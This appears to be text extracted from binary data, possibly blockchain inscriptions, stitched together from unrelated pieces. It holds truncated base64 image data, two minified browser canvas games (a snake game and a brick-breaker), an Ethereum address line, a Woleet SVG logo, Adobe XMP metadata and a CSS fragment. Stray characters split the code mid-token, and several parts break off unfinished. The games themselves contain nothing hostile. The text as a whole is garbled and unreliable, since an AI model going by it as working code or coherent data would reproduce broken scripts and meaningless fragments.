RETkG6+2pHaPb7wa4fmEk1IbBnz4bdhf+vGw6GUNGxk0AChFgAYApShxoFDqIswvnj59umm/8MILw5wZ7R52v2tfC90tEsI8aABA7gjQAKAUJQ4UUldXl46+RzakNg4EG3/Ljd6Lke5nUxYZGTQAKEWABgClKHEAKJSyhSpfnzf0OBv2AwDSRgYNoLDe+eFPTPvkHMeRFjJoAFCKAA0ASlHiQCHNnDmzkH0jPWYJOLvZAQDSRoAGAKUocaBQDhw4oOsebNifK3up9+HH1g82mAcNAEgbARoAlKLEgULpt55BlyirVBHpHpQ4MneHVcJY7nO8WpBBA4BSBGgAUIoSBxBRb2+v92JWfuOASPusr+Y9hFSRQQOAUmTQKCQ7i50yZUqm9+6/8gHTvnbfukzvnYSHt79s2tfM+HKOI4nn3i7vCe23Wsu6l299TkSqK6smgwYApQjQAKAUJQ4UUtJljZatd5l256zbncc1s0sVRS9hBLnVZ7e6aiptlJBBA4BSBGgAUIoSM
B4DCKs3cEKHEAQDIEAEaAJSixAFUoLOz07RbWlpyG0etqsayho0MGgCUIkADgFKUOIAKUNZIxpJFf2baO3bsSP1+XV1d1qsJqd8vLjJoAFCKAA0ASlHiQKE0NDSkfg97C9G11r4crvf9TJ8+PdExReG3L4frfehGBg0ASpFBIzPjJtabdtO5s0VEpKOjI6/hhLQmxBHHVWu8s0qfNQ8asuWmU7wf4S680NuJzv4xcPWj/5rlkERGnzTs2/aPlpmPzUIGDQBKEaABQClKHMhFqdyR59f/rNilHXg2b38t1nVBO9j5PbPQT/ebB2ONIwtk0ACgFAEaAJSixIFc8fW/tiSxjDtoB7swZY0gWSw3D4MMGgCUIkADgFIEaABQigANAEoRoAFAKQI0AChFgAYApQjQAKrC8q3PlS0DrwYEaABQigANAEqx1BtAVQhaAl5EZNAAoBQBGgCUosQBoFCibshfZGTQAKAUARoAlKLE4UPLRvJaxgFoUe1lDRsZNAAoRYAGAKUIM
0ACgFAEaAJTiR0IAqVqzZo3zeHPb/ETvU5ofHfdHxKzGGQUZNAAoRYAGAKVGNLfNH8h7EHl48dmn8h4CMKw8v1onye//a9o+n8ZxkkEDgFIEaABQqmZLHACgHRk0AChFgAYApQjQAKAUARoAlCJAA4BSBGgAUIoADQBKEaABQCkCNAAoRYAGAKUI0ACgFAEaAJQiQAOAUgRoAFCKAA0AShGgAUApAjQAKEWABgClCNAAoBQBGgCUIkADgFIEaABQigANAEoRoAFAKQI0AChFgAYApQjQAKAUARoAlCJAA4BSBGgAUOr/Aen/oelf8VgyAAAAAElFTkSuQmCC" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canM
vas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.M
length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRanMN
domInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementByIdM
("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y",M
"Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};coM
nst ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.widM
th-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);cM
ontext.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which=L
==32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
Bj@=:ETH.ETH:0x49327C04013AFCc8F53DAB4Ec9cAbe44fD5950cb:29169827::0
FjDOUT:954E191AA8CBE1733C051D27E21C66DE93FA08D384975111C2D9BAADD282DB01
FjDOUT:F442F6CF0EB5FB67FCC6703E2DCF3431EC7F3BA52303D904D22B5307AAC59A0E
<?xml version="1.0" encoding="utf-8"?>
<!-- Woleet Digital artifact : identity genesis  -->
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 350 350" style="enable-background:new 0 0 350 350;" xml:space="preserve">
<title>Woleet</title>
<desc>Woleet Corporate Digital Artifact</desc>
<style type="text/css">
	.st0{fill:url(#XMLID_2_);}
	.st1{fill:url(#XMLID_3_);}
	.st2{fill:url(#XMLID_4_);}
	.st3{fill:url(#XMLID_5_);}
<g id="Forme_seule">
	<g id="XMLID_378_">
		<linearGradient id="XMLID_2_" gradientUnits="userSpaceOnUse" x1="165.3943" y1="179.1117" x2="165.3943" y2="297.106">
			<stop  offset="0" style="stop-color:#4814AD"/>
			<stop  offset="0.1391" style="stop-color:#4619AE"/>
			<stop  offset="0.2972" style="stop-color:#4026AF"/>
			<stop  offset="0.4646" style="stop-color:#373DB2"/>
			<stop  offset="0.6384" style="stop-color:#2A5DB5"/>
			<stop  offset="0.8172" style="stop-color:#1986BAM
			<stop  offset="0.9978" style="stop-color:#05B7C0"/>
			<stop  offset="1" style="stop-color:#05B8C0"/>
		<path id="XMLID_383_" class="st0" d="M175.6,244.1l-65-65c-9.8,9.4-27.7,29.8-2.3,59.7c12.6,12.6,51.8,51.9,51.9,51.9
			c4.1,4.1,9.7,6.4,15.5,6.4c5.8,0,11.4-2.3,15.5-6.4l44.5-44.5C204.7,277.1,179.5,248.1,175.6,244.1z"/>
		<linearGradient id="XMLID_3_" gradientUnits="userSpaceOnUse" x1="167.9301" y1="98.2836" x2="67.8094" y2="198.4042">
			<stop  offset="0" style="stop-color:#4814AD"/>
<stop  offset="2.909090e-03" style="stop-color:#4814AD"/>
			<stop  offset="0.6168" style="stop-color:#1E7AB9"/>
			<stop  offset="0.9801" style="stop-color:#05B8C0"/>
		<path id="XMLID_382_" class="st1" d="M107.8,173.5l67.6-67.6c-3.9-3.9-29.1-32.9-60-2l-55.6,55.6c-4.1,4.1-6.4,9.7-6.4,15.5
			s2.3,11.4,6.4,15.5l31.5,31.5C81.4,195.9,102.6,178.5,107.8,173.5z"/>
		<g id="XMLID_379_">
				<linearGradient id="XMLID_4_" gradientUnits="userSpaceOnUse" x1="714.7118" y1="7505.5522" x2="714.7118" y2="M
7623.5464" gradientTransform="matrix(-1 0 0 -1 900.3175 7676.4404)">
				<stop  offset="0" style="stop-color:#4814AD"/>
				<stop  offset="0.1391" style="stop-color:#4619AE"/>
				<stop  offset="0.2972" style="stop-color:#4026AF"/>
				<stop  offset="0.4646" style="stop-color:#373DB2"/>
				<stop  offset="0.6384" style="stop-color:#2A5DB5"/>
				<stop  offset="0.8172" style="stop-color:#1986BA"/>
				<stop  offset="0.9978" style="stop-color:#05B7C0"/>
				<stop  offset="1" style="stop-color:#05B8C0"/>
			<path id="XMLID_381_" class="st2" d="M175.4,105.9l65,65c9.8-9.4,27.7-29.8,2.3-59.7c-12.6-12.6-51.8-51.9-51.9-51.9
				c-4.1-4.1-9.7-6.4-15.5-6.4c-5.8,0-11.4,2.3-15.5,6.4l-44.5,44.5C146.3,72.9,171.5,101.9,175.4,105.9z"/>
				<linearGradient id="XMLID_5_" gradientUnits="userSpaceOnUse" x1="717.2476" y1="7424.7241" x2="617.1269" y2="7524.8447" gradientTransform="matrix(-1 0 0 -1 900.3175 7676.4404)">
				<stop  offset="0" style="stop-color:#4814AD"/>
				<stop  offset="2.909090e-03" style="stop-color:#4Ml
				<stop  offset="0.6168" style="stop-color:#1E7AB9"/>
				<stop  offset="0.9801" style="stop-color:#05B8C0"/>
			</linearGradient>
			<path id="XMLID_380_" class="st3" d="M243.2,176.5l-67.6,67.6c3.9,3.9,29.1,32.9,60,2l55.6-55.6c4.1-4.1,6.4-9.7,6.4-15.5
				s-2.3-11.4-6.4-15.5l-31.5-31.5C269.6,154.1,248.4,171.5,243.2,176.5z"/>
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>c84feddd-f75c-433f-847d-5628dfa537c8</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 1</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
((((((((((((((((((((((((((((((((((((((((((((((((((
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="3A0M
CBDAB65B420C51C028A10740AAEF0" xmpMM:DocumentID="xmp.did:C734C6F4AD0611ED953DF6BB7E57E6B4" xmpMM:InstanceID="xmp.iid:C734C6F3AD0611ED953DF6BB7E57E6B4" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 10.1.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e23b953f-1954-fc4a-84bd-b61266a1a637" stRef:documentID="xmp.did:e23b953f-1954-fc4a-84bd-b61266a1a637"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
59.37.100 libvpx-vp9g
59.37.100 libvpx-vp9g
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
